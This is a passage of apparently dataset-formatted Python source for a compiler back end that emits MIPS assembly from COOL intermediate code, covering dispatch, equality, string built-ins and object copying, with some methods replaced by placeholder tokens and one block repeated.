12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n 